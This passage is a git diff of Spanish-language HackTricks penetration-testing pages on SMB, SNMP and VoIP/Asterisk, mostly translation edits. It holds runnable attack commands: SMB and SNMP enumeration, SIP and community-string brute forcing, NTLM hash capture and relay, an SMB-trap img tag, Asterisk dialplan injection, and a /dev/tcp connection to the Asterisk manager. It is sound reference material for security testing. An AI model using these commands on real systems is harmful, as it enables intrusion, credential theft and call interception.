**kerberos** en lugar de **NTLM**. ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -452,7 +456,7 @@ Que son utilizadas por algunos navegadores y herramientas (como Skype) ## NTLM Theft -Similar al SMB Trapping, plantar archivos maliciosos en un sistema objetivo (a través de SMB, por ejemplo) puede provocar un intento de autenticación SMB, permitiendo que el hash NetNTLMv2 sea interceptado con una herramienta como Responder. El hash puede ser descifrado sin conexión o utilizado en un [SMB relay attack](pentesting-smb.md#smb-relay-attack). +Similar al SMB Trapping, plantar archivos maliciosos en un sistema objetivo (a través de SMB, por ejemplo) puede provocar un intento de autenticación SMB, permitiendo que el hash NetNTLMv2 sea interceptado con una herramienta como Responder. El hash puede ser descifrado offline o utilizado en un [SMB relay attack](pentesting-smb.md#smb-relay-attack). [See: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index 68398d3be..1f2d227e0 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,13 +4,13 @@ ## **Puerto 139** -El _**Sistema Básico de Entrada y Salida de Red**_\*\* (NetBIOS)\*\* es un protocolo de software diseñado para permitir que aplicaciones, PCs y escritorios dentro de una red de área local (LAN) interactúen con hardware de red y **faciliten la transmisión de datos a través de la red**. La identificación y localización de aplicaciones de software que operan en una red NetBIOS se logra a través de sus nombres NetBIOS, que pueden tener hasta 16 caracteres de longitud y a menudo son distintos del nombre del ordenador. Una sesión NetBIOS entre dos aplicaciones se inicia cuando una aplicación (actuando como cliente) emite un comando para "llamar" a otra aplicación (actuando como servidor) utilizando **TCP Puerto 139**. +El _**Sistema Básico de Entrada y Salida de Red**_** (NetBIOS)** es un protocolo de software diseñado para permitir que aplicaciones, PCs y escritorios dentro de una red de área local (LAN) interactúen con hardware de red y **faciliten la transmisión de datos a través de la red**. La identificación y localización de aplicaciones de software que operan en una red NetBIOS se logran a través de sus nombres NetBIOS, que pueden tener hasta 16 caracteres de longitud y a menudo son distintos del nombre de la computadora. Una sesión NetBIOS entre dos aplicaciones se inicia cuando una aplicación (actuando como cliente) emite un comando para "llamar" a otra aplicación (actuando como servidor) utilizando **TCP Puerto 139**. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Puerto 445 -Técnicamente, el Puerto 139 se refiere a ‘NBT sobre IP’, mientras que el Puerto 445 se identifica como ‘SMB sobre IP’. El acrónimo **SMB** significa ‘**Server Message Blocks**’, que también se conoce modernamente como el **Common Internet File System (CIFS)**. Como un protocolo de red de capa de aplicación, SMB/CIFS se utiliza principalmente para habilitar el acceso compartido a archivos, impresoras, puertos serie y facilitar diversas formas de comunicación entre nodos en una red. +Técnicamente, el Puerto 139 se refiere a ‘NBT sobre IP’, mientras que el Puerto 445 se identifica como ‘SMB sobre IP’. El acrónimo **SMB** significa ‘**Server Message Blocks**’, que también se conoce modernamente como el **Common Internet File System (CIFS)**. Como un protocolo de red de capa de aplicación, SMB/CIFS se utiliza principalmente para habilitar el acceso compartido a archivos, impresoras, puertos serie y facilitar varias formas de comunicación entre nodos en una red. Por ejemplo, en el contexto de Windows, se destaca que SMB puede operar directamente sobre TCP/IP, eliminando la necesidad de NetBIOS sobre TCP/IP, a través de la utilización del puerto 445. Por el contrario, en diferentes sistemas, se observa el empleo del puerto 139, lo que indica que SMB se está ejecutando en conjunto con NetBIOS sobre TCP/IP. ``` @@ -18,16 +18,16 @@ Por ejemplo, en el contexto de Windows, se destaca que SMB puede operar directam ``` ### SMB -El **Server Message Block (SMB)** protocolo, que opera en un modelo **cliente-servidor**, está diseñado para regular el **acceso a archivos**, directorios y otros recursos de red como impresoras y enrutadores. Utilizado principalmente dentro de la serie del sistema operativo **Windows**, SMB asegura la compatibilidad hacia atrás, permitiendo que dispositivos con versiones más nuevas del sistema operativo de Microsoft interactúen sin problemas con aquellos que ejecutan versiones más antiguas. Además, el proyecto **Samba** ofrece una solución de software libre, permitiendo la implementación de SMB en sistemas **Linux** y Unix, facilitando así la comunicación entre plataformas a través de SMB. +El **Server Message Block (SMB)** protocolo, que opera en un modelo **cliente-servidor**, está diseñado para regular el **acceso a archivos**, directorios y otros recursos de red como impresoras y enrutadores. Utilizado principalmente dentro de la serie de sistemas operativos **Windows**, SMB asegura la compatibilidad hacia atrás, permitiendo que dispositivos con versiones más nuevas del sistema operativo de Microsoft interactúen sin problemas con aquellos que ejecutan versiones más antiguas. Además, el proyecto **Samba** ofrece una solución de software libre, permitiendo la implementación de SMB en sistemas **Linux** y Unix, facilitando así la comunicación entre plataformas a través de SMB. Los recursos compartidos, que representan **partes arbitrarias del sistema de archivos local**, pueden ser proporcionados por un servidor SMB, haciendo que la jerarquía sea visible para un cliente en parte **independiente** de la estructura real del servidor. Las **Access Control Lists (ACLs)**, que definen los **derechos de acceso**, permiten un **control detallado** sobre los permisos de los usuarios, incluyendo atributos como **`execute`**, **`read`** y **`full access`**. Estos permisos pueden ser asignados a usuarios individuales o grupos, basados en los recursos compartidos, y son distintos de los permisos locales establecidos en el servidor. ### IPC$ Share -El acceso al recurso compartido IPC$ se puede obtener a través de una sesión nula anónima, permitiendo la interacción con servicios expuestos a través de tuberías con nombre. La utilidad `enum4linux` es útil para este propósito. Utilizada correctamente, permite la adquisición de: +El acceso al recurso compartido IPC$ se puede obtener a través de una sesión nula anónima, permitiendo la interacción con servicios expuestos a través de pipes nombrados. La utilidad `enum4linux` es útil para este propósito. Utilizada correctamente, permite la adquisición de: - Información sobre el sistema operativo -- Detalles sobre el dominio padre +- Detalles sobre el dominio principal - Una compilación de usuarios y grupos locales - Información sobre los recursos compartidos SMB disponibles - La política de seguridad del sistema efectiva @@ -38,7 +38,7 @@ enum4linux -a target_ip ``` El comando anterior es un ejemplo de cómo `enum4linux` podría usarse para realizar una enumeración completa contra un objetivo especificado por `target_ip`. -## ¿Qué es NTLM? +## Qué es NTLM Si no sabes qué es NTLM o quieres saber cómo funciona y cómo abusar de él, encontrarás muy interesante esta página sobre **NTLM** donde se explica **cómo funciona este protocolo y cómo puedes aprovecharte de él:** @@ -56,7 +56,7 @@ nbtscan -r 192.168.0.1/24 Para buscar posibles exploits para la versión de SMB, es importante saber qué versión se está utilizando. Si esta información no aparece en otras herramientas utilizadas, puedes: -- Usar el módulo auxiliar de **MSF** \_**auxiliary/scanner/smb/smb_version** +- Usar el módulo auxiliar de **MSF** `**auxiliary/scanner/smb/smb_version**` - O este script: ```bash #!/bin/sh @@ -121,7 +121,7 @@ rpcclient -U "username%passwd" #With creds ``` ### Enumerar Usuarios, Grupos y Usuarios Conectados -Esta información ya debería estar siendo recopilada de enum4linux y enum4linux-ng +Esta información ya debería estar siendo recopilada de enum4linux y enum4linux-ng. ```bash crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] @@ -239,10 +239,10 @@ ejemplos smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -### **Enumerar recursos compartidos de Windows / sin herramientas de terceros** +### **Enumerar recursos compartidos desde Windows / sin herramientas de terceros** PowerShell -```powershell +```bash # Retrieves the SMB shares on the locale computer. Get-SmbShare Get-WmiObject -Class Win32_Share @@ -292,7 +292,7 @@ smbclient /// Comandos: - mask: especifica la máscara que se utiliza para filtrar los archivos dentro del directorio (por ejemplo, "" para todos los archivos) -- recurse: activa la recursión (predeterminado: desactivado) +- recurse: activa la recursión (predeterminado: apagado) - prompt: desactiva la solicitud de nombres de archivos (predeterminado: activado) - mget: copia todos los archivos que coinciden con la máscara del host a la máquina cliente @@ -300,7 +300,7 @@ Comandos: ### Búsqueda de Carpetas Compartidas en el Dominio -- [**Snaffler**](https://github.com/SnaffCon/Snaffler)**** +- [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` @@ -329,17 +329,17 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 La **configuración predeterminada de** un **servidor Samba** generalmente se encuentra en `/etc/samba/smb.conf` y puede tener algunas **configuraciones peligrosas**: | **Configuración** | **Descripción** | -| --------------------------- | ----------------------------------------------------------------- | -| `browseable = yes` | ¿Permitir listar los recursos compartidos disponibles en el recurso compartido actual? | -| `read only = no` | ¿Prohibir la creación y modificación de archivos? | -| `writable = yes` | ¿Permitir a los usuarios crear y modificar archivos? | -| `guest ok = yes` | ¿Permitir conectarse al servicio sin usar una contraseña? | -| `enable privileges = yes` | ¿Respetar los privilegios asignados a un SID específico? | -| `create mask = 0777` | ¿Qué permisos deben asignarse a los archivos recién creados? | -| `directory mask = 0777` | ¿Qué permisos deben asignarse a los directorios recién creados? | -| `logon script = script.sh` | ¿Qué script necesita ejecutarse en el inicio de sesión del usuario? | -| `magic script = script.sh` | ¿Qué script debe ejecutarse cuando se cierra el script? | -| `magic output = script.out` | ¿Dónde debe almacenarse la salida del script mágico? | +| --------------------------- | ------------------------------------------------------------------ | +| `browseable = yes` | ¿Permitir listar los recursos disponibles en el recurso actual? | +| `read only = no` | ¿Prohibir la creación y modificación de archivos? | +| `writable = yes` | ¿Permitir a los usuarios crear y modificar archivos? | +| `guest ok = yes` | ¿Permitir conectarse al servicio sin usar una contraseña? | +| `enable privileges = yes` | ¿Respetar los privilegios asignados a un SID específico? | +| `create mask = 0777` | ¿Qué permisos deben asignarse a los archivos recién creados? | +| `directory mask = 0777` | ¿Qué permisos deben asignarse a los directorios recién creados? | +| `logon script = script.sh` | ¿Qué script debe ejecutarse en el inicio de sesión del usuario? | +| `magic script = script.sh` | ¿Qué script debe ejecutarse cuando se cierra el script? | +| `magic output = script.out` | ¿Dónde debe almacenarse la salida del script mágico? | El comando `smbstatus` proporciona información sobre el **servidor** y sobre **quién está conectado**. @@ -426,14 +426,14 @@ En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/ nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` -## SMB relay attack +## Ataque de retransmisión SMB Este ataque utiliza el kit de herramientas Responder para **capturar sesiones de autenticación SMB** en una red interna y **retransmitirlas** a una **máquina objetivo**. Si la **sesión de autenticación es exitosa**, te llevará automáticamente a un **shell** **del sistema**.\ [**Más información sobre este ataque aquí.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap -La biblioteca de Windows URLMon.dll intenta automáticamente autenticarse con el host cuando una página intenta acceder a algún contenido a través de SMB, por ejemplo: `img src="\\10.10.10.10\path\image.jpg"` +La biblioteca de Windows URLMon.dll intenta autenticarse automáticamente con el host cuando una página intenta acceder a algún contenido a través de SMB, por ejemplo: `img src="\\10.10.10.10\path\image.jpg"` Esto ocurre con las funciones: @@ -444,19 +444,19 @@ Esto ocurre con las funciones: Que son utilizadas por algunos navegadores y herramientas (como Skype) -![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) +![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) ### SMBTrap usando MitMf -![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) +![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) -## NTLM Theft +## Robo de NTLM -Similar al SMB Trapping, plantar archivos maliciosos en un sistema objetivo (a través de SMB, por ejemplo) puede provocar un intento de autenticación SMB, permitiendo que el hash NetNTLMv2 sea interceptado con una herramienta como Responder. El hash puede ser descifrado sin conexión o utilizado en un [SMB relay attack](#smb-relay-attack). +Similar al SMB Trapping, plantar archivos maliciosos en un sistema objetivo (a través de SMB, por ejemplo) puede provocar un intento de autenticación SMB, permitiendo que el hash NetNTLMv2 sea interceptado con una herramienta como Responder. El hash puede ser descifrado sin conexión o utilizado en un [ataque de retransmisión SMB](#smb-relay-attack). -[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) +[Ver: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) -## HackTricks Automatic Commands +## Comandos Automáticos de HackTricks ``` Protocol_Name: SMB #Protocol Abbreviation if there is one. Port_Number: 137,138,139 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md index 57e58c568..a99b55337 100644 --- a/src/network-services-pentesting/pentesting-snmp/README.md +++ b/src/network-services-pentesting/pentesting-snmp/README.md @@ -2,6 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} + ## Información Básica **SNMP - Protocolo Simple de Administración de Red** es un protocolo utilizado para monitorear diferentes dispositivos en la red (como enrutadores, conmutadores, impresoras, IoTs...). @@ -10,16 +11,16 @@ PORT STATE SERVICE REASON VERSION 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) ``` > [!NOTE] -> SNMP también utiliza el puerto **162/UDP** para **traps**. Estos son paquetes de datos **enviados desde el servidor SNMP al cliente sin ser solicitados explícitamente**. +> SNMP también utiliza el puerto **162/UDP** para **traps**. Estos son datos **paquetes enviados desde el servidor SNMP al cliente sin ser solicitados explícitamente**. ### MIB -Para asegurar que el acceso SNMP funcione entre diferentes fabricantes y con diferentes combinaciones de cliente-servidor, se creó la **Base de Información de Gestión (MIB)**. MIB es un **formato independiente para almacenar información del dispositivo**. Un MIB es un **archivo de texto** en el que se enumeran todos los **objetos SNMP** consultables de un dispositivo en una jerarquía de árbol **estandarizada**. Contiene al **menos un `Identificador de Objeto` (`OID`)**, que, además de la **dirección única** necesaria y un **nombre**, también proporciona información sobre el tipo, derechos de acceso y una descripción del respectivo objeto.\ -Los archivos MIB están escritos en el formato de texto ASCII basado en `Notación de Sintaxis Abstracta Uno` (`ASN.1`). Los **MIB no contienen datos**, sino que explican **dónde encontrar qué información** y cómo se ve, qué valores devuelve para el OID específico, o qué tipo de dato se utiliza. +Para asegurar que el acceso SNMP funcione entre fabricantes y con diferentes combinaciones de cliente-servidor, se creó la **Base de Información de Gestión (MIB)**. MIB es un **formato independiente para almacenar información del dispositivo**. Un MIB es un **archivo de texto** en el que se enumeran todos los **objetos SNMP** consultables de un dispositivo en una jerarquía de árbol **estandarizada**. Contiene al **menos un `Object Identifier` (`OID`)**, que, además de la **dirección única** necesaria y un **nombre**, también proporciona información sobre el tipo, derechos de acceso y una descripción del respectivo objeto.\ +Los archivos MIB están escritos en el formato de texto ASCII basado en `Abstract Syntax Notation One` (`ASN.1`). Los **MIB no contienen datos**, pero explican **dónde encontrar qué información** y cómo se ve, qué valores devuelve para el OID específico, o qué tipo de datos se utiliza. ### OIDs -**Identificadores de Objetos (OIDs)** juegan un papel crucial. Estos identificadores únicos están diseñados para gestionar objetos dentro de una **Base de Información de Gestión (MIB)**. +**Object Identifiers (OIDs)** juegan un papel crucial. Estos identificadores únicos están diseñados para gestionar objetos dentro de una **Base de Información de Gestión (MIB)**. Los niveles más altos de los IDs de objetos MIB, o OIDs, están asignados a diversas organizaciones de establecimiento de estándares. Es dentro de estos niveles superiores donde se establece el marco para las prácticas y estándares de gestión global. @@ -41,7 +42,7 @@ Aquí hay un desglose de esta dirección. - 1 – esto se llama el ISO y establece que este es un OID. Por eso todos los OIDs comienzan con “1” - 3 – esto se llama ORG y se utiliza para especificar la organización que construyó el dispositivo. - 6 – este es el dod o el Departamento de Defensa, que es la organización que estableció primero Internet. -- 1 – este es el valor de internet para denotar que todas las comunicaciones ocurrirán a través de Internet. +- 1 – este es el valor de Internet para denotar que todas las comunicaciones ocurrirán a través de Internet. - 4 – este valor determina que este dispositivo es fabricado por una organización privada y no por una gubernamental. - 1 – este valor denota que el dispositivo es fabricado por una empresa o entidad comercial. @@ -67,7 +68,7 @@ El resto de los valores dan información específica sobre el dispositivo. Hay 2 versiones importantes de SNMP: -- **SNMPv1**: La principal, sigue siendo la más frecuente, la **autenticación se basa en una cadena** (cadena de comunidad) que viaja en **texto plano** (toda la información viaja en texto plano). **La versión 2 y 2c** también envían el **tráfico en texto plano** y utilizan una **cadena de comunidad como autenticación**. +- **SNMPv1**: Principal, sigue siendo la más frecuente, la **autenticación se basa en una cadena** (cadena de comunidad) que viaja en **texto plano** (toda la información viaja en texto plano). **La versión 2 y 2c** también envían el **tráfico en texto plano** y utilizan una **cadena de comunidad como autenticación**. - **SNMPv3**: Utiliza una mejor forma de **autenticación** y la información viaja **encriptada** (se podría realizar un **ataque de diccionario**, pero sería mucho más difícil encontrar las credenciales correctas que en SNMPv1 y v2). ### Cadenas de Comunidad @@ -78,20 +79,20 @@ Hay **2 tipos de cadenas de comunidad**: - **`public`** principalmente funciones **solo de lectura** - **`private`** **Lectura/Escritura** en general -Ten en cuenta que **la capacidad de escritura de un OID depende de la cadena de comunidad utilizada**, así que **incluso** si encuentras que se está utilizando "**public**", podrías ser capaz de **escribir algunos valores.** También, puede **existir** objetos que son **siempre "Solo Lectura".**\ -Si intentas **escribir** un objeto, se recibe un error de **`noSuchName` o `readOnly`**.\*\*.\*\* +Ten en cuenta que **la capacidad de escritura de un OID depende de la cadena de comunidad utilizada**, así que **incluso** si encuentras que se está utilizando "**public**", podrías ser capaz de **escribir algunos valores.** Además, puede **existir** objetos que son **siempre "Solo Lectura".**\ +Si intentas **escribir** un objeto se recibe un error **`noSuchName` o `readOnly`**. -En las versiones 1 y 2/2c, si usas una **mala** cadena de comunidad, el servidor no **responderá**. Así que, si responde, se **utilizó una cadena de comunidad válida**. +En las versiones 1 y 2/2c, si usas una cadena de comunidad **incorrecta**, el servidor no **responderá**. Así que, si responde, se **utilizó una cadena de comunidad válida**. ## Puertos -[Desde Wikipedia](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol): +[De Wikipedia](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol): - El agente SNMP recibe solicitudes en el puerto UDP **161**. - El administrador recibe notificaciones ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) y [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) en el puerto **162**. -- Cuando se utiliza con [Seguridad de Capa de Transporte](https://en.wikipedia.org/wiki/Transport_Layer_Security) o [Seguridad de Transporte de Datagramas](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security), las solicitudes se reciben en el puerto **10161** y las notificaciones se envían al puerto **10162**. +- Cuando se utiliza con [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) o [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security), las solicitudes se reciben en el puerto **10161** y las notificaciones se envían al puerto **10162**. -## Fuerza Bruta de Cadenas de Comunidad (v1 y v2c) +## Fuerza Bruta de la Cadena de Comunidad (v1 y v2c) Para **adivinar la cadena de comunidad** podrías realizar un ataque de diccionario. Consulta [aquí diferentes formas de realizar un ataque de fuerza bruta contra SNMP](../../generic-hacking/brute-force.md#snmp). Una cadena de comunidad frecuentemente utilizada es `public`. @@ -120,11 +121,11 @@ nmap --script "snmp* and not snmp-brute" braa @:.1.3.6.* #Bruteforce specific OID ``` -Gracias a las consultas extendidas (download-mibs), es posible enumerar aún más sobre el sistema con el siguiente comando: +Gracias a las consultas extendidas (download-mibs), es posible enumerar aún más sobre el sistema con el siguiente comando : ```bash snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ``` -**SNMP** tiene mucha información sobre el host y cosas que pueden resultar interesantes son: **Interfaces de red** (dirección **IPv4** y **IPv6**), Nombres de usuario, Tiempo de actividad, Versión del servidor/SO y **procesos** +**SNMP** tiene mucha información sobre el host y cosas que pueden ser interesantes son: **Interfaces de red** (dirección **IPv4** y **IPv6**), Nombres de usuario, Tiempo de actividad, Versión del servidor/SO y **procesos** **en ejecución** (puede contener contraseñas).... @@ -173,7 +174,7 @@ snmp-rce.md ## **SNMP Masivo** -[Braa ](https://github.com/mteg/braa) es un escáner SNMP masivo. El uso previsto de tal herramienta es, por supuesto, realizar consultas SNMP – pero a diferencia de snmpwalk de net-snmp, es capaz de consultar decenas o cientos de hosts simultáneamente, y en un solo proceso. Así, consume muy pocos recursos del sistema y realiza el escaneo MUY rápido. +[Braa](https://github.com/mteg/braa) es un escáner SNMP masivo. El uso previsto de tal herramienta es, por supuesto, realizar consultas SNMP, pero a diferencia de snmpwalk de net-snmp, es capaz de consultar decenas o cientos de hosts simultáneamente, y en un solo proceso. Así, consume muy pocos recursos del sistema y realiza el escaneo MUY rápido. Braa implementa su PROPIO stack SNMP, por lo que NO necesita ninguna biblioteca SNMP como net-snmp. @@ -215,7 +216,7 @@ Puedes usar _**NetScanTools**_ para **modificar valores**. Necesitarás conocer ## Suplantación -Si hay una ACL que solo permite que algunas IPs consulten el servicio SNMP, puedes suplantar una de estas direcciones dentro del paquete UDP y espiar el tráfico. +Si hay una ACL que solo permite que algunas IPs consulten el servicio SMNP, puedes suplantar una de estas direcciones dentro del paquete UDP y espiar el tráfico. ## Examinar archivos de configuración SNMP diff --git a/src/network-services-pentesting/pentesting-voip/README.md b/src/network-services-pentesting/pentesting-voip/README.md index f3fafda3e..4c2be9391 100644 --- a/src/network-services-pentesting/pentesting-voip/README.md +++ b/src/network-services-pentesting/pentesting-voip/README.md @@ -239,7 +239,7 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws ``` ### Enumeración de Extensiones -Las extensiones en un sistema PBX (Central Privada de Conmutación) se refieren a los **identificadores internos únicos asignados a líneas** telefónicas, dispositivos o usuarios individuales dentro de una organización o negocio. Las extensiones hacen posible **rutar llamadas dentro de la organización de manera eficiente**, sin la necesidad de números de teléfono externos individuales para cada usuario o dispositivo. +Las extensiones en un sistema PBX (Centralita Privada) se refieren a los **identificadores internos únicos asignados a líneas** telefónicas, dispositivos o usuarios individuales dentro de una organización o negocio. Las extensiones hacen posible **rutar llamadas dentro de la organización de manera eficiente**, sin la necesidad de números de teléfono externos individuales para cada usuario o dispositivo. - **`svwar`** de SIPVicious (`sudo apt install sipvicious`): `svwar` es un escáner de líneas de extensión SIP PBX gratuito. En concepto, funciona de manera similar a los marcadores tradicionales al **adivinar un rango de extensiones o una lista dada de extensiones**. ```bash @@ -263,7 +263,7 @@ enumiax -v -m3 -M3 10.10.0.10 ### Fuerza Bruta de Contraseña - en línea -Habiendo descubierto el **PBX** y algunos **números de extensión/nombres de usuario**, un Red Team podría intentar **autenticarse a través del método `REGISTER`** en una extensión utilizando un diccionario de contraseñas comunes para realizar un ataque de fuerza bruta a la autenticación. +Habiendo descubierto el **PBX** y algunos **números de extensión/nombres de usuario**, un Red Team podría intentar **autenticarse a través del método `REGISTER`** a una extensión utilizando un diccionario de contraseñas comunes para realizar un ataque de fuerza bruta a la autenticación. > [!CAUTION] > Tenga en cuenta que un **nombre de usuario** puede ser el mismo que la extensión, pero esta práctica puede variar según el sistema PBX, su configuración y las preferencias de la organización... @@ -285,7 +285,7 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt ### VoIP Sniffing -Si encuentras equipos de VoIP dentro de una **red Wifi abierta**, podrías **esnifar toda la información**. Además, si estás dentro de una red más cerrada (conectada por Ethernet o Wifi protegido) podrías realizar **ataques MitM como** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) entre el **PBX y la puerta de enlace** para esnifar la información. +Si encuentras equipos de VoIP dentro de una **red Wifi Abierta**, podrías **esnifar toda la información**. Además, si estás dentro de una red más cerrada (conectada por Ethernet o Wifi protegido) podrías realizar **ataques MitM como** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) entre el **PBX y la puerta de enlace** para esnifar la información. Entre la información de la red, podrías encontrar **credenciales web** para gestionar el equipo, **extensiones** de usuario, **nombre de usuario**, direcciones **IP**, incluso **contraseñas hash** y **paquetes RTP** que podrías reproducir para **escuchar la conversación**, y más. @@ -304,7 +304,7 @@ Para obtener esta información podrías usar herramientas como Wireshark, tcpdum sipdump -p net-capture.pcap sip-creds.txt sipcrack sip-creds.txt -w dict.txt ``` -- **`SIPPTS dump`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump puede extraer autenticaciones digest de un archivo pcap. +- **`SIPPTS dump`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump puede extraer autenticaciones digest de un archivo pcap. ```bash sippts dump -f capture.pcap -o data.txt ``` @@ -312,7 +312,7 @@ sippts dump -f capture.pcap -o data.txt ```bash sippts dcrack -f data.txt -w wordlist/rockyou.txt ``` -- **`SIPPTS tshark`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark extrae datos del protocolo SIP de un archivo PCAP. +- **`SIPPTS tshark`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark extrae datos del protocolo SIP de un archivo PCAP. ```bash sippts tshark -f capture.pcap [-filter auth] ``` @@ -352,7 +352,7 @@ También es posible establecer confianza con la variable insegura: > `insecure=port,invite`\ > `type=friend` -### Llamadas Gratuitas / Configuraciones Incorrectas de Contexto en Asterisk +### Llamadas Gratuitas / Configuraciones Incorrectas del Contexto de Asterisco En Asterisk, un **contexto** es un contenedor o sección nombrada en el plan de marcado que **agrupa extensiones, acciones y reglas relacionadas**. El plan de marcado es el componente central de un sistema Asterisk, ya que define **cómo se manejan y enrutan las llamadas entrantes y salientes**. Los contextos se utilizan para organizar el plan de marcado, gestionar el control de acceso y proporcionar separación entre diferentes partes del sistema. @@ -398,17 +398,17 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444 ``` ### Llamadas gratuitas / IVRS mal configurados -IVRS significa **Sistema de Respuesta de Voz Interactiva**, una tecnología de telefonía que permite a los usuarios interactuar con un sistema computarizado a través de entradas de voz o tonos de marcado. IVRS se utiliza para construir sistemas de **manejo de llamadas automatizado** que ofrecen una variedad de funcionalidades, como proporcionar información, enrutar llamadas y capturar entradas de usuarios. +IVRS significa **Sistema de Respuesta de Voz Interactiva**, una tecnología de telefonía que permite a los usuarios interactuar con un sistema computarizado a través de entradas de voz o tonos de marcación. IVRS se utiliza para construir sistemas de **manejo de llamadas automatizado** que ofrecen una variedad de funcionalidades, como proporcionar información, enrutar llamadas y capturar la entrada del usuario. IVRS en sistemas VoIP típicamente consiste en: 1. **Indicaciones de voz**: Mensajes de audio pregrabados que guían a los usuarios a través de las opciones del menú IVR e instrucciones. -2. **DTMF** (Dual-Tone Multi-Frequency) señalización: Entradas de tonos de marcado generadas al presionar teclas en el teléfono, que se utilizan para navegar a través de los menús IVR y proporcionar entradas. -3. **Enrutamiento de llamadas**: Dirigir llamadas al destino apropiado, como departamentos específicos, agentes o extensiones según la entrada del usuario. -4. **Captura de entradas de usuario**: Recopilar información de los llamantes, como números de cuenta, IDs de caso o cualquier otro dato relevante. +2. **DTMF** (Dual-Tone Multi-Frequency) señalización: Entradas de tonos de marcación generadas al presionar teclas en el teléfono, que se utilizan para navegar a través de los menús IVR y proporcionar entrada. +3. **Enrutamiento de llamadas**: Dirigir llamadas al destino apropiado, como departamentos específicos, agentes o extensiones basadas en la entrada del usuario. +4. **Captura de entrada del usuario**: Recopilar información de los llamantes, como números de cuenta, IDs de caso o cualquier otro dato relevante. 5. **Integración con sistemas externos**: Conectar el sistema IVR a bases de datos u otros sistemas de software para acceder o actualizar información, realizar acciones o activar eventos. -En un sistema VoIP Asterisk, puedes crear un IVR utilizando el plan de marcado (**`extensions.conf`** archivo) y varias aplicaciones como `Background()`, `Playback()`, `Read()`, y más. Estas aplicaciones te ayudan a reproducir indicaciones de voz, capturar entradas de usuario y controlar el flujo de llamadas. +En un sistema VoIP Asterisk, puedes crear un IVR utilizando el plan de marcación (**`extensions.conf`** archivo) y varias aplicaciones como `Background()`, `Playback()`, `Read()`, y más. Estas aplicaciones te ayudan a reproducir indicaciones de voz, capturar la entrada del usuario y controlar el flujo de la llamada. #### Ejemplo de configuración vulnerable ```scss @@ -427,7 +427,7 @@ Usando una extensión como: ```scss exten => _X.,1,Dial(SIP/${EXTEN}) ``` -Donde **`${EXTEN}`** es la **extensión** que será llamada, cuando se **introduce la ext 101** esto es lo que sucedería: +Donde **`${EXTEN}`** es la **extensión** que se llamará, cuando se **introduzca la ext 101** esto es lo que sucederá: ```scss exten => 101,1,Dial(SIP/101) ``` @@ -435,7 +435,7 @@ Sin embargo, si **`${EXTEN}`** permite introducir **más que números** (como en ```scss exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123) ``` -Por lo tanto, se enviará una llamada a la extensión **`101`** y **`123123123`** y solo la primera que reciba la llamada se establecerá... pero si un atacante utiliza una **extensión que elude cualquier coincidencia** que se esté realizando pero no existe, podría **inyectar una llamada solo al número deseado**. +Por lo tanto, se enviará una llamada a la extensión **`101`** y **`123123123`** y solo la primera que reciba la llamada será establecida... pero si un atacante utiliza una **extensión que elude cualquier coincidencia** que se esté realizando pero no existe, podría **inyectar una llamada solo al número deseado**. ## Vulnerabilidad SIPDigestLeak @@ -496,11 +496,11 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr ``` **Se podría solicitar más información o acciones.** -### **Escucha clandestina** +### **Intercepción** En Asterisk es posible usar el comando **`ChanSpy`** indicando la(s) **extensión(es) a 